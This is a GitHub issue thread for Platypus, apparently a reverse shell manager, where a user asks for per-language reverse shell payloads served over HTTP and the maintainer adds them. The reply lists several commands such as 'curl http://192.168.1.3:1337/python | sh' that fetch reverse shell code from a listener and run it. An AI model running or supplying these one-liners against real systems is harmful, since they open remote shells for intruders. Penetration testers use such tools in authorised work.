WangYihang/Platypus

[Feature Request] 多语言反弹 shell 支持

RicterZ opened this issue · 3 comments

比如 curl platypus:8080/a.py 就返回 python 的反弹 shell 代码,.../a.pl 就返回 perl 的。

诶好主意!感谢反馈!俺等会儿整一下,rr 师带带我 >v<

Added. @RicterZ ,感谢师傅提出建议!
Examples:

curl http://192.168.1.3:1337/ | sh
curl http://192.168.1.3:1337/bash | sh
curl http://192.168.1.3:1337/python | sh
curl http://192.168.1.3:1337/perl | sh
curl http://192.168.1.3:1337/1.2.3.4/7331 | sh
curl http://192.168.1.3:1337/1.2.3.4/7331/bash | sh
curl http://192.168.1.3:1337/1.2.3.4/7331/python | sh
curl http://192.168.1.3:1337/1.2.3.4/7331/php | sh

All available language templates are stored at lib/template/rsh

RaaS support specifying a language

v1.2.6 released for this issue.